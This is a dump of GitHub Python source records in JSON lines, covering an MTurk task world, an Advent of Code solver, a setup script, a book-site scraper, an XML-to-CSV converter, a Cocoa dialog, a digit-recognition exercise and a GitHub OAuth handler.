feedback. Please resubmit your feedback.\"\n continue\n exceed_turns = [item for item in olist if int(item) > turn_num or int(item) < 0] \n if len(exceed_turns) > 0:\n ad['text'] = \"We detected that turns [\" + \", \".join(exceed_turns) + \"] in your feedback are illegal values. Please resubmit your feedback.\"\n continue\n break\n\n if loop_turns == 3:\n ad['text'] = \"We are closing this HIT, since the format of your feedbacks were wrong and you refused to rephrase your feedback in a right way. We are sorry that you can not be paid for this HIT.\"\n self.mturk_agent.observe(validate(ad))\n self.shutdown()\n self.mturk_agent.reject_work(reason=\"The format of your feedbacks were wrong and you refused to rephrase your feedback in a right way.\")\n return\n return False, \"\"\n\n def episode_done(self):\n return self.episodeDone\n\n def report(self):\n pass\n\n def shutdown(self):\n #self.task.shutdown()\n self.mturk_agent.shutdown()\n\n def review_work(self):\n pass\n","repo_name":"XinnuoXu/DRank","sub_path":"AMT/parlai/mturk/tasks/pydail_collection/worlds.py","file_name":"worlds.py","file_ext":"py","file_size_in_byte":14134,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"39018288906","text":"#!/usr/bin/python3\n\nimport hashlib\n\ndid = 'cxdnnyjw'\n\ni = 0\n\np = ''\n\nwhile True:\n ts = did + str(i)\n h = hashlib.md5(ts.encode('utf-8')).hexdigest()\n\n if h.startswith('00000'):\n print(h[:4],h[5],h[6:])\n p += h[5]\n\n if len(p) == 8:\n break\n\n i += 1\n\nprint(p)\n","repo_name":"radu/advent","sub_path":"5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":293,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73027759093","text":"import os\nimport sys\nimport re\ntry:\n from setuptools import setup\nexcept ImportError:\n from distutils.core import setup\n\n# long_description: Take from README file\nwith open(os.path.join(os.path.dirname(__file__), 'README.rst')) as f:\n readme = f.read()\n\n# Version Number\nwith open(os.path.join(os.path.dirname(__file__), 'xlwings', '__init__.py')) as f:\n version = re.compile(r\".*__version__ = '(.*?)'\", re.S).match(f.read()).group(1)\n\n# Dependencies\nif sys.platform.startswith('win'):\n install_requires = ['comtypes']\n # This places dlls next to python.exe for standard setup and in the parent folder for virtualenv\n data_files = [('', ['xlwings32.dll', 'xlwings64.dll'])]\nelif sys.platform.startswith('darwin'):\n install_requires = ['psutil >= 2.0.0', 'appscript >= 1.0.1']\n data_files = [(os.path.expanduser(\"~\") + '/Library/Application Scripts/com.microsoft.Excel', ['xlwings/xlwings.applescript'])]\nelse:\n on_rtd = os.environ.get('READTHEDOCS', None) == 'True'\n if on_rtd:\n data_files = []\n install_requires = []\n else:\n raise OSError(\"currently only Windows and OSX are supported.\")\n\n# This shouldn't be necessary anymore as we dropped official support for < 2.7 and < 3.3\nif (sys.version_info[0] == 2 and sys.version_info[:2] < (2, 7)) or (sys.version_info[0] == 3 and sys.version_info[:2] < (3, 2)):\n install_requires = install_requires + ['argparse']\n\nsetup(\n name='xlwings',\n version=version,\n url='http://xlwings.org',\n license='BSD 3-clause',\n author='Zoomer Analytics LLC',\n author_email='felix.zumstein@zoomeranalytics.com',\n description='Make Excel fly: Interact with Excel from Python and vice versa.',\n long_description=readme,\n data_files=data_files,\n packages=['xlwings', 'xlwings.tests', 'xlwings.conversion'],\n package_data={'xlwings': ['xlwings.bas', 'tests/*.xlsx', 'tests/*.xlsm', 'tests/*.png', 'xlwings_template.xltm',\n 'quickstart.xlsm', 'xlwings.xlam', 'xlwings.applescript']},\n keywords=['xls', 'excel', 'spreadsheet', 'workbook', 'vba', 'macro'],\n install_requires=install_requires,\n entry_points={'console_scripts': ['xlwings=xlwings.command_line:main'],},\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Operating System :: Microsoft :: Windows',\n 'Operating System :: MacOS :: MacOS X',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Topic :: Office/Business :: Financial :: Spreadsheet',\n 'License :: OSI Approved :: BSD License'],\n platforms=['Windows', 'Mac OS X'],\n)\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/ZoomerAnalytics_xlwings/xlwings-master/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"84864602","text":"from sqlalchemy.exc import IntegrityError\nfrom models.init_db import DatabaseMusic\n\ndb = DatabaseMusic()\n\n\ndef create_tables():\n db.create_tables()\n return create_projects()\n\n\ndef create_projects():\n db.create_projects()\n db.close_session()\n\n\nif __name__ == '__main__':\n try:\n create_tables()\n print(\"INFO: Database successfully created\")\n except IntegrityError:\n print(\"INFO: Database already exists\")\n","repo_name":"AzukoTazumaki/FastAPI_Test","sub_path":"backend/create_db.py","file_name":"create_db.py","file_ext":"py","file_size_in_byte":442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38836103283","text":"def calculate_bal(user_balance, user_total_charges, user_credit):\n new_balance = (balance + total_charges) - credit\n if new_balance < allowed_credit:\n print(\"credit limit exceeded\")\n elif new_balance > allowed_credit:\n print(\"okay to pay\")\n\n\nif __name__ == '__main__':\n allowed_credit = 10000\n acct_no = int(input(\"Enter account no: \"))\n balance = float(input(\"Enter account balance: \"))\n total_charges = float(input(\"Enter total charge of all items\"))\n credit = float(input(\"Enter total credit applied to customer account\"))\n print(f'The status of customer account: {acct_no}')\n calculate_bal(balance, total_charges, credit)\n","repo_name":"Chinwoke-C/pythonEx","sub_path":"Java_to_Python/credit_limit_calculator.py","file_name":"credit_limit_calculator.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4053765837","text":"# coding:utf-8\nimport requests\nimport time\nimport re\nimport pymongo\nfrom lxml.html import etree\nfrom bs4 import BeautifulSoup\n\nfrom logutils import Logger\nfrom common import mongo, headers\n\n\nclass AiduSpider():\n def __init__(self):\n self.name = \"aidu\"\n self.domain = 'https://read.jd.com/'\n self.book_classes_url = '{0}?sm.pageSize=20&sm.sortField=1&sm.keyType=1&page={1}'\n self.logger = Logger('jdread', 'jdread.log').get_logger()\n self.jd_bookclasses = mongo.jdread.bookclasses\n self.jd_bookstores = mongo.jdread.bookstores\n self.jd_books = mongo.jdread.books\n self.jd_errors = mongo.jdread.errors\n self.jd_retry = mongo.jdread.retry\n\n\n def crawl_page_source(self, url):\n try:\n response = requests.get(url, headers=headers).text\n except requests.ConnectionError as e:\n self.logger.error(\"url:%s请求错误%s\" % (url, e))\n self.jd_retry.insert({'type': 'connection', 'url': url, 'time': time.ctime()})\n return response\n\n\n def get_classify(self):\n url = self.domain\n href = ''\n name = ''\n try:\n response = self.crawl_page_source(url)\n\n # 一级分类及其一级分类下的二级分类\n # 二级分类下的novel的名字和链接\n # print(result)\n selector = etree.HTML(response)\n dt = selector.xpath('//*[contains(@class, \"novels novels-\")]/dt')\n for i in range(0, len(dt)):\n classify_name = dt[i].text\n print(classify_name)\n book_href = selector.xpath('//*[@id=\"sort-list\"]/dl[contains(@class,\"novels novels-\")]['+str(i+1)+']/dd/a')\n book_classes = []\n for j in range(0, len(book_href)):\n href = 'https:'+book_href[j].get('href')\n name = book_href[j].text\n self.crawl_classes_books(name, href)\n book_classes.append({'book_class': name, 'book_href': href})\n data = {\n 'classify_name': classify_name,\n 'book_classes': book_classes\n }\n print(data)\n #self.jd_bookclasses.insert(data)\n except Exception as e:\n self.logger.error(\"出现%s错误,name是% shref是%s\"%(e, name, href))\n error = {\n 'time': time.ctime(),\n 'error_msg': e,\n 'error_href': href,\n 'error_name': name\n }\n self.jd_errors.insert(error)\n\n\n # 爬取每个分类下的书籍\n def crawl_classes_books(self, name='', url=''):\n for i in range(150):\n page_url = self.book_classes_url.format(url, i+1)\n print(page_url)\n response = self.crawl_page_source(page_url)\n if self.page_istrue(response):\n selector = etree.HTML(response)\n\n book_urls = selector.xpath('//*[@class=\"w clearfix\"]//a[@class=\"link630\"]')\n bookstores = []\n for index in range(0,len(book_urls)):\n book_href = 'https:'+book_urls[index].get('href').strip()\n # 获取每部书籍的章节\n book_chapters = self.crawl_book_chapters(book_href)\n bookstores.append({'book_name': book_urls[index].text, 'book_href': book_href, 'book_chapters': book_chapters})\n data = {\n 'source_page_url': page_url,\n 'name': name,\n 'bookstore': bookstores\n }\n print(data)\n #self.jd_bookstores.insert(data)\n else:\n self.logger.error('this %s url was requests error' % page_url)\n #self.jd_retry.insert({'type': 'data of page is none', 'url': page_url, 'time': time.ctime()})\n break\n\n\n # 爬取每本书籍的简介,章节名字和链接\n def crawl_book_chapters(self, url):\n response = self.crawl_page_source(url)\n soup = BeautifulSoup(response, 'lxml')\n # 书籍简介\n bookintro = soup.find('div', attrs={'id': 'box-bookintro-mirror'}).text\n # print(bookintro)\n # 出版信息等\n book_authorinfo = soup.find('div', attrs={'class': 'book-authorinfo'}).text.strip()\n # print(book_authorinfo)\n chapter_list = soup.findAll('a', attrs={\"href\": re.compile(r'^\\/\\/read.jd.*\\/\\d+\\/\\d+.html$')})\n # print(chapter_list)\n bookdetail = []\n for a in chapter_list:\n bookdetail.append({'bookintro': bookintro, 'book_authorinfo': book_authorinfo.encode('utf-8').decode('utf-8'), 'chapter_name': a.text.strip(), 'chapter_url': 'https:'+a.get('href')})\n #print(a.text+'--'+a.get('href'))\n # print(bookdetail)\n return bookdetail # 返回每部书籍的所有章节\n\n # 爬取文章每个章节的内容\n def crawl_chapter_words(self, chapter_url):\n response = self.crawl_page_source(chapter_url)\n soup = BeautifulSoup(response, 'lxml')\n chapter_div = soup.find('div', attrs={'class': 'mc clearfix'})\n title = chapter_div.h1.text\n content = ''\n for p in chapter_div.findAll('p'):\n # print(p.text)\n content = content + p.text+'\\n'\n result = {'title': title, 'chapter_content': content}\n print(result)\n return result\n\n def crawl_per_book(self):\n bookstores = self.jd_bookstores.find().skip(100).limit(100)\n num = 0\n try:\n for bookstore in bookstores:\n # downed = [\"情感婚恋\", \"校园生活\", \"职场社会\", \"官场商战\", \"都市乡土\", \"网络魔幻\"]\n downed = []\n # book 是每一本书\n if bookstore['name'] not in downed:\n for book in bookstore['bookstore']:\n chapters = [] # 每部书籍的所有章节内容\n for book_chapter in book['book_chapters']:\n chapter_url = book_chapter['chapter_url']\n if chapter_url.startswith('https://read.jd.com'):\n # print(chapter_url)\n result = self.crawl_chapter_words(chapter_url)\n chapters.append(result)\n time.sleep(0.5)\n num = num + 1\n data = {\n 'book_href': book['book_href'],\n 'book_name': book['book_name'],\n 'booK_chapters': chapters\n }\n #self.jd_books.insert(data)\n self.logger.info('<%s>类中的第%s部书籍《%s》读取成功' % (bookstore['name'], num, book['book_name']))\n self.logger.info(\"%s分类书籍完成\" % bookstore['name'])\n downed.append(bookstore['name'])\n except Exception as err:\n self.logger.error(err)\n except pymongo.errors.CursorNotFound as e:\n self.logger.error(e)\n #self.jd_errors.insert({'error_msg': e, 'time': time.ctime()})\n\n def page_istrue(self, response):\n selector = etree.HTML(response)\n if selector.xpath('//div[@class=\"list3 clearfix\"]'):\n return True\n else:\n return False\n\n\nif __name__ == '__main__':\n spider = AiduSpider()\n # response = requests.get('http://www.woaidu.org/sitemap_1.html')\n # result = response.content\n # print(spider.parse(result))\n # response = requests.get('https://read.jd.com/')\n # result = response.content.decode('utf-8')\n # spider.parse_detail(result)\n # spider.get_classify()\n # spider.crawl_classes_books(url='https://read.jd.com/list/1-t14.html')\n # spider.crawl_book_words('https://read.jd.com/15273/')\n # spider.crawl_book_chapters('https://read.jd.com/6744/')\n # spider.crawl_chapter_words('https://read.jd.com/6744/342971.html')\n spider.crawl_per_book()\n\n","repo_name":"MonoBoy/jdread_spider","sub_path":"jdread/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":8156,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"33744490286","text":"#Takes in the data set loads into pandas then saves off as a csv\nimport os\nimport pandas as pd\nimport xml.etree.ElementTree as et \n\nos.chdir('images')\n\nheaders = ['image', 'xmin', 'ymin', 'xmax', 'ymax', 'label']\ndf = pd.DataFrame(columns = headers)\n\nfor file in os.listdir():\n if \".xml\" not in file:\n continue\n xml = et.parse(file)\n r = xml.getroot()\n image = r[1].text\n #width = r[4][0].text\n #height = r[4][1].text\n xmin = r[6][4][0].text\n ymin = r[6][4][1].text\n xmax = r[6][4][2].text\n ymax = r[6][4][3].text\n df = df.append(pd.Series([image, xmin, ymin, xmax, ymax, 'drone'], index = df.columns), ignore_index = True)\n\nprint(df)\n\npercent = 80\ntrain = df.head(int(len(df)*(percent/100)))\ntest = df.iloc[max(train.index):]\n\npwd = os.getcwd()\ntrain.to_csv(pwd+'/trainData.csv', index=False)\ntest.to_csv(pwd+'/testData.csv', index=False)\n","repo_name":"jamato14/Drone-Classification","sub_path":"Data/parseXml.py","file_name":"parseXml.py","file_ext":"py","file_size_in_byte":932,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9655817176","text":"__all__ = [\"AskString\"]\n\nimport objc\nfrom Foundation import *\nfrom AppKit import *\n\n# class defined in AskString.xib\nclass AskStringWindowController(NSWindowController):\n questionLabel = objc.IBOutlet()\n textField = objc.IBOutlet()\n\n def __new__(cls, question, resultCallback, default=\"\", parentWindow=None):\n self = cls.alloc().initWithWindowNibName_(\"AskString\")\n self.question = question\n self.resultCallback = resultCallback\n self.default = default\n self.parentWindow = parentWindow\n if self.parentWindow is None:\n self.window().setFrameUsingName_(\"AskStringPanel\")\n self.setWindowFrameAutosaveName_(\"AskStringPanel\")\n self.showWindow_(self)\n else:\n NSApp().beginSheet_modalForWindow_modalDelegate_didEndSelector_contextInfo_(\n self.window(), self.parentWindow, None, None, 0)\n self.retain()\n return self\n\n def windowWillClose_(self, notification):\n self.autorelease()\n\n def awakeFromNib(self):\n self.questionLabel.setStringValue_(self.question)\n self.textField.setStringValue_(self.default)\n\n def done(self):\n if self.parentWindow is None:\n self.close()\n else:\n sheet = self.window()\n NSApp().endSheet_(sheet)\n sheet.orderOut_(self)\n\n def ok_(self, sender):\n value = self.textField.stringValue()\n self.done()\n self.resultCallback(value)\n\n def cancel_(self, sender):\n self.done()\n self.resultCallback(None)\n\n\ndef AskString(question, resultCallback, default=\"\", parentWindow=None):\n AskStringWindowController(question, resultCallback, default, parentWindow)\n","repo_name":"nodebox/nodebox-pyobjc","sub_path":"nodebox/gui/mac/AskString.py","file_name":"AskString.py","file_ext":"py","file_size_in_byte":1724,"program_lang":"python","lang":"en","doc_type":"code","stars":81,"dataset":"github-code","pt":"21"} +{"seq_id":"3823918702","text":"import cv2\nimport sys\n\n# Gets user specified values\nimagePath = sys.argv[1]\ncascPath = sys.argv[2]\n\n# create haar cascade\n# what?\nfaceCascade = cv2.CascadeClassifier(cascPath)\n\n# The the image for it's image cascPath\nimage = cv2.imread(imagePath)\n# this converts the colors of the image to grayscale\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n# faceCascade is the internal command of openCV, I guess\n# \"detectMultiScale\" detects the objects in the image\n# we are calling it on \"faceCascade\" hence it will detect only faces\nfaces = faceCascade.detectMultiScale( \n gray,\n # scaleFactor compensates for the faces that might seem bigger coz of their close\n # proximity to the camera\n scaleFactor = 1.1,\n # the minumum neighbours near the current detected face\n minNeighbors = 5,\n # minimum size of the face that it detects\n minSize=(30,30),\n # for openCV2 it'd be cv2.cv.CV_HAAR_SCALE_IMAGE\n flags = cv2.CASCADE_SCALE_IMAGE\n )\n\nprint(\"Found {0} faces!\".format(len(faces)))\n\n# Draw a rectangle around the faces\nfor (x, y, w, h) in faces:\n cv2.rectangle(image, (x, y), (x+w, y+h), (0, 255, 0), 2)\n\ncv2.imshow(\"Faces found\", image)\ncv2.waitKey(0)\n","repo_name":"daVincere/Ronin_ClashHacks","sub_path":"face-detection/face_detect_from_image.py","file_name":"face_detect_from_image.py","file_ext":"py","file_size_in_byte":1185,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18427573618","text":"#!/usr/bin/python3.8\n# -*- coding: utf-8 -*-\n\n#Adivina el número. Genera un número aleatorio del 1 al 100. el usuario debe \n#adivinarlo con un máximo número de intentos que él mismo introduce.\nfrom random import randint\nresultado=False;\nnumero=randint(1,100)\nprint(\"Introduzca número de intentos:\")\nmaxi=int(input())\nintento=1\nwhile ((intento<=maxi) and (not resultado)):\n\tprint(\"Le quedan \", maxi-intento+1 ,\" intentos: \")\n\tintento+=1\n\tentrada=int(input())\n\tif (entradanumero):\n\t\tprint (\"El número es menor que \" , entrada)\n\telse:\n\t\tresultado=True\n\t\tbreak\nif (resultado):\n\tprint (\"Lo has conseguido!!!\")\nelse:\n\tprint (\"El número era \", numero, \". Fin del juego, suerte la próxima vez\")\n\t\n\n","repo_name":"juancarlosmartinezcarmona/semana1","sub_path":"dos.py","file_name":"dos.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6626901387","text":"import sys\n#import time\nfrom collections import deque\n\ndx, dy = [1, -1, 0, 0], [0, 0, 1, -1]\n\nn, l, r = map(int, sys.stdin.readline().split())\n\ncountries=[]\nfor _ in range(n):\n countries.append(list(map(int, sys.stdin.readline().split())))\n visited = [[-1 for _ in range(n)] for _ in range(n)]\n\n#start = time.time()\ndef bfs(node):\n a, b = node\n union=[(a,b)]\n total=countries[a][b]\n\n que = deque()\n que.append(node)\n while que:\n x, y = que.popleft()\n p = countries[x][y]\n for i in range(4):\n dxx, dyy = x + dx[i], y+dy[i]\n if -1 balance:\n pix[0] = 255\n pix[1] = 255\n pix[2] = 255\n pix[3] = 255\n else:\n pix[0] = 0\n pix[1] = 0\n pix[2] = 0\n pix[3] = 255\n return newAr\n\ndef whatNumIsThis(filePath):\n matchedAr = []\n loadExamps = open('numArEx.txt','r').read()\n loadExamps = loadExamps.split('\\n')\n\n i = Image.open(filePath)\n iar = np.array(i)\n iarl = iar.tolist()\n\n inQuestion = str(iarl)\n\n for eachExample in loadExamps:\n if len(eachExample) > 3:\n splitEx = eachExample.split('::')\n currentNum = splitEx[0]\n currentAr = splitEx[1]\n\n eachPixEx = currentAr.split('],')\n\n eachPixInQ = inQuestion.split('],')\n\n x = 0\n while x < len(eachPixEx):\n if eachPixEx[x] == eachPixInQ[x]:\n matchedAr.append(int(currentNum))\n x += 1\n print(matchedAr)\n x = Counter(matchedAr)\n print(x)\n\n # Line Graph indication method\n '''graphX = []\n graphY = []\n for eachThing in x:\n print(eachThing)\n graphX.append(eachThing)\n print(x[eachThing])\n graphY.append(x[eachThing])\n \n fig = plt.figure()\n ax1 = plt.subplot2grid((4,4),(0,0), rowspan=1, colspan=4)\n ax2 = plt.subplot2grid((4,4),(1,0), rowspan=3, colspan=4)\n\n ax1.imshow(iar)\n ax2.bar(graphX, graphY, align='center')\n plt.ylim(400)\n xloc = plt.MaxNLocator(12)\n\n ax2.xaxis.set_major_locator(xloc)\n \n plt.show()'''\n\n hN=0\n hV=0\n for n in x:\n if x[n]>hV:\n hV=x[n]\n hN=n\n if hV<350:\n good=False\n return hV\n else:\n good=True\n \n print('\\n\\n\\nthe Number Is ->{}'.format(hN))\n \nwhatNumIsThis('images/test.png')\n \n \n \n \n'''\ni = Image.open('images/numbers/0.1.png')\niar = np.array(i)\n\ni2 = Image.open('images/numbers/y0.4.png')\niar2 = np.array(i2)\n\ni3 = Image.open('images/numbers/y0.5.png')\niar3 = np.array(i3)\n\ni4 = Image.open('images/k.png')\niar4 = np.array(i4)\n\n\nblack_white(iar)\nblack_white(iar2)\nblack_white(iar3)\nblack_white(iar4)\nfig = plt.figure()\nax1 = plt.subplot2grid((8,6), (0,0), rowspan=4, colspan=3)\nax2 = plt.subplot2grid((8,6), (4,0), rowspan=4, colspan=3)\nax3 = plt.subplot2grid((8,6), (0,3), rowspan=4, colspan=3)\nax4 = plt.subplot2grid((8,6), (4,3), rowspan=4, colspan=3)\n\nax1.imshow(iar)\nax2.imshow(iar2)\nax3.imshow(iar3)\nax4.imshow(iar4)\n\nplt.show()\n'''\n","repo_name":"krawat428/Machine-Learning","sub_path":"Image_recognition_fundamentals/Number_prediction.py","file_name":"Number_prediction.py","file_ext":"py","file_size_in_byte":3727,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24228558705","text":"import os\nimport json\nimport random\nfrom urllib.parse import urlencode\n\nfrom flask import redirect, url_for, request, session\nimport requests\n\ntry:\n from .main import app\nexcept SystemError:\n from . import app\n\nconsumer_key = os.getenv(\"GITHUB_KEY\")\nconsumer_secret = os.getenv(\"GITHUB_SECRET\")\n\n\ndef redir():\n return app.config[\"SERVICE_URL\"] + url_for(\".callback\", provider=\"github\")\n\n\ndef handle():\n nonce = random.random()\n session[\"gh:nonce\"] = nonce\n\n return redirect(\n \"https://github.com/login/oauth/authorize?\"\n + urlencode(\n {\"redirect_uri\": redir(), \"client_id\": consumer_key, \"state\": nonce}\n )\n )\n\n\ndef callback():\n r = requests.post(\n \"https://github.com/login/oauth/access_token\",\n data=json.dumps(\n {\n \"code\": request.args[\"code\"],\n \"client_id\": consumer_key,\n \"client_secret\": consumer_secret,\n \"redirect_uri\": redir(),\n \"nonce\": session[\"gh:nonce\"],\n }\n ),\n headers={\"Content-Type\": \"application/json\", \"Accept\": \"application/json\"},\n )\n\n del session[\"gh:nonce\"]\n\n if not r.ok:\n raise Exception(\"failed to fetch access token from github.\")\n\n token = r.json().get(\"access_token\")\n if not token:\n raise Exception(\"github hasn't issued a token to us for some reason: \" + r.text)\n\n r = requests.get(\n \"https://api.github.com/user\",\n headers={\n \"User-Agent\": \"accountd.xyz\",\n \"Authorization\": \"token \" + token,\n \"Content-Type\": \"application/json\",\n \"Accept\": \"application/vnd.github.v3+json\",\n },\n )\n\n if not r.ok:\n raise Exception(\"failed to fetch user login from github after oauth.\", r.text)\n\n return r.json()[\"login\"] + \"@github\"\n","repo_name":"fiatjaf/accountd.xyz","sub_path":"app/github.py","file_name":"github.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}